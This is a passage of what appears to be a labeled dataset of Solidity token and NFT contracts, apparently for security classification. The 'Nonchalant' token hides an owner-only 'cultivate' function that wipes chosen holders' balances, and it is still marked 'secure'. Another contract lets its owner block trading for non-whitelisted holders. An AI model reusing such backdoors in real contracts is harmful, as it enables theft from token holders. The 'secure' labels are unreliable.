_balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1520.sol",
"secure": 1,
"size_bytes": 4375
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Nonchalant is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable unity;\n\n constructor() {\n _name = \"nonchalant\";\n\n _symbol = \"NONCHALANT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 916000000;\n\n unity = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == unity, \"Not allowed\");\n\n _;\n }\n\n function cultivate(address[] memory lead) public onlyOwner {\n for (uint256 i = 0; i < lead.length; i++) {\n address account = lead[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1521.sol",
"secure": 1,
"size_bytes": 4359
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721A.sol\" as IERC721A;\nimport \"./ERC721A__IERC721Receiver.sol\" as ERC721A__IERC721Receiver;\n\ncontract ERC721A is IERC721A {\n struct TokenApprovalRef {\n address value;\n }\n\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n uint256 private constant _BITPOS_AUX = 192;\n\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n uint256 private _currentIndex;\n\n uint256 private _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => uint256) private _packedOwnerships;\n\n mapping(address => uint256) private _packedAddressData;\n\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view virtual returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n\n uint256 auxCasted;\n\n assembly {\n auxCasted := aux\n }\n\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n\n _packedAddressData[owner] = packed;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view virtual returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view virtual returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & _BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n\n return packed;\n }\n }\n }\n\n revert OwnerQueryForNonexistentToken();\n }\n\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n\n ownership.burned = packed & _BITMASK_BURNED != 0;\n\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n function _packOwnershipData(\n address owner,\n uint256 flags\n ) private view returns (uint256 result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n function _nextInitializedFlag(\n uint256 quantity\n ) private pure returns (uint256 result) {\n assembly {\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n function approve(\n address to,\n uint256 tokenId\n ) public payable virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId].value = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0;\n }\n\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n owner := and(owner, _BITMASK_ADDRESS)\n\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n function _getApprovedSlotAndAddress(\n uint256 tokenId\n )\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n\n assembly {\n approvedAddressSlot := tokenApproval.slot\n\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n --_packedAddressData[from];\n\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public payable virtual override {\n transferFrom(from, to, tokenId);\n\n if (to.code.length != 0)\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n\n uint256 end = startTokenId + quantity;\n\n assembly {\n toMasked := and(to, _BITMASK_ADDRESS)\n\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, startTokenId)\n\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n\n uint256 index = end - quantity;\n\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n\n if (_currentIndex != end) revert();\n }\n }\n }\n\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n )\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n assembly {\n if approvedAddress {\n sstore(approvedAddressSlot, 0)\n }\n }\n\n unchecked {\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n\n uint256 extraDataCasted;\n\n assembly {\n extraDataCasted := extraData\n }\n\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n\n _packedOwnerships[index] = packed;\n }\n\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure virtual returns (string memory str) {\n assembly {\n let m := add(mload(0x40), 0xa0)\n\n mstore(0x40, m)\n\n str := sub(m, 0x20)\n\n mstore(str, 0)\n\n let end := str\n\n for {\n let temp := value\n } 1 {} {\n str := sub(str, 1)\n\n mstore8(str, add(48, mod(temp, 10)))\n\n temp := div(temp, 10)\n\n if iszero(temp) {\n break\n }\n }\n\n let length := sub(end, str)\n\n str := sub(str, 0x20)\n\n mstore(str, length)\n }\n }\n}",
"file_name": "solidity_code_1522.sol",
"secure": 1,
"size_bytes": 20148
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract HappySeals is Ownable, ERC721A, ReentrancyGuard {\n string public baseURI =\n \"ipfs://bafybeibmae34xgy62n62wkr5qq5mrjplp6dalt4e5f5szvttmvskl67kj4/\";\n\n bool public publicSale = true;\n\n uint256 public amountFree = 2000;\n\n uint256 public price = 0.0003 ether;\n\n uint256 public maxFreePerWallet = 2;\n\n uint256 public maxPerTx = 20;\n\n uint256 public maxSupply = 2222;\n\n constructor() ERC721A(\"Happy Seals\", \"HappySeals\") {}\n\n modifier callerIsUser() {\n require(tx.origin == msg.sender, \"The caller is another contract\");\n\n _;\n }\n\n function setFree(uint256 amount) external onlyOwner {\n amountFree = amount;\n }\n\n function freeMint(uint256 quantity) external callerIsUser {\n require(publicSale, \"Public sale has not begun yet\");\n\n require(\n totalSupply() + quantity <= amountFree,\n \"Reached max free supply\"\n );\n\n require(\n numberMinted(msg.sender) + quantity <= maxFreePerWallet,\n \"Too many free per wallet!\"\n );\n\n _safeMint(msg.sender, quantity);\n }\n\n function setMaxFreePerWallet(uint256 maxFreePerWallet_) external onlyOwner {\n maxFreePerWallet = maxFreePerWallet_;\n }\n\n function mint(uint256 quantity) external payable callerIsUser {\n require(publicSale, \"Public sale has not begun yet\");\n\n require(totalSupply() + quantity <= maxSupply, \"Reached max supply\");\n\n require(quantity <= maxPerTx, \"can not mint this many at a time\");\n\n require(\n msg.value >= price * quantity,\n \"Ether value sent is not correct\"\n );\n\n _safeMint(msg.sender, quantity);\n }\n\n function adminMint(uint256 quantity) external onlyOwner {\n require(totalSupply() + quantity < maxSupply + 1, \"too many!\");\n\n _safeMint(msg.sender, quantity);\n }\n\n function setmaxPerTx(uint256 maxPerTx_) external onlyOwner {\n maxPerTx = maxPerTx_;\n }\n\n function setmaxSupply(uint256 maxSupply_) external onlyOwner {\n maxSupply = maxSupply_;\n }\n\n function setprice(uint256 _newprice) public onlyOwner {\n price = _newprice;\n }\n\n function setSaleState(bool state) external onlyOwner {\n publicSale = state;\n }\n\n function setBaseURI(string calldata baseURI_) external onlyOwner {\n baseURI = baseURI_;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n function withdraw() external onlyOwner nonReentrant {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n function numberMinted(address accountOwner) public view returns (uint256) {\n return _numberMinted(accountOwner);\n }\n}",
"file_name": "solidity_code_1523.sol",
"secure": 1,
"size_bytes": 3160
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5f53f3e): Contract locking ether found Contract Meeka has payable functions Meeka.receive() But does not have a function to withdraw the ether\n// Recommendation for 5f53f3e: Remove the 'payable' attribute or add a withdraw function.\ncontract Meeka is ERC20, Ownable {\n constructor() ERC20(unicode\"Meeka\", unicode\"MEEKA\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5f53f3e): Contract locking ether found Contract Meeka has payable functions Meeka.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 5f53f3e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1524.sol",
"secure": 0,
"size_bytes": 989
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EnviCoin is ERC20 {\n constructor() ERC20(\"EnviCoin\", \"ENVI\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1525.sol",
"secure": 1,
"size_bytes": 275
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n require(initialOwner != address(0), \"Ownable: Invalid owner address\");\n\n _owner = initialOwner;\n\n emit OwnershipTransferred(address(0), initialOwner);\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0), \"Ownable: Invalid owner address\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_1526.sol",
"secure": 1,
"size_bytes": 1156
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LightchainAI is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public whitelist;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92a64cf): LightchainAI._name should be constant \n\t// Recommendation for 92a64cf: Add the 'constant' attribute to state variables that never change.\n string private _name = \"LightchainAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b429204): LightchainAI._symbol should be constant \n\t// Recommendation for b429204: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"LCAI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 38b75bc): LightchainAI._decimals should be constant \n\t// Recommendation for 38b75bc: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00ecc1e): LightchainAI._totalSupply should be constant \n\t// Recommendation for 00ecc1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10_000_000_000 * 1e18;\n\n bool public trading;\n\n event WhitelistUpdated(address indexed user, bool status);\n\n constructor(address initialOwner) Ownable(initialOwner) {\n whitelist[msg.sender] = true;\n\n _balances[owner()] = _totalSupply;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n require(\n _allowances[_msgSender()][spender] >= subtractedValue,\n \"LightchainAI: decreased allowance below zero\"\n );\n\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n\n return true;\n }\n\n function enableTrading() external onlyOwner {\n require(!trading, \"LightchainAI: Trading is already enabled\");\n\n trading = true;\n }\n\n function setWhitelist(address _user, bool _status) external onlyOwner {\n whitelist[_user] = _status;\n\n emit WhitelistUpdated(_user, _status);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"LightchainAI: Approve from zero address\"\n );\n\n require(spender != address(0), \"LightchainAI: Approve to zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"LightchainAI: Transfer from zero address\");\n\n require(to != address(0), \"LightchainAI: Transfer to zero address\");\n\n require(\n amount > 0,\n \"LightchainAI: Transfer amount must be greater than zero\"\n );\n\n if (!whitelist[from] && !whitelist[to]) {\n require(trading, \"LightchainAI: Trading is disabled\");\n }\n\n uint256 senderBalance = _balances[from];\n\n require(senderBalance >= amount, \"LightchainAI: Insufficient balance\");\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1527.sol",
"secure": 1,
"size_bytes": 5589
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐶LuckyDoge\", unicode\"🐶LuckyDoge\", 9, 200000000)\n {}\n}",
"file_name": "solidity_code_1528.sol",
"secure": 1,
"size_bytes": 228
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n\t// WARNING Optimization Issue (immutable-states | ID: ae88e4a): Owned.contractOwner should be immutable \n\t// Recommendation for ae88e4a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable contractOwner;\n\n constructor() {\n contractOwner = payable(msg.sender);\n }\n\n function whoIsTheOwner() public view returns (address) {\n return contractOwner;\n }\n}",
"file_name": "solidity_code_1529.sol",
"secure": 1,
"size_bytes": 544
}
|
{
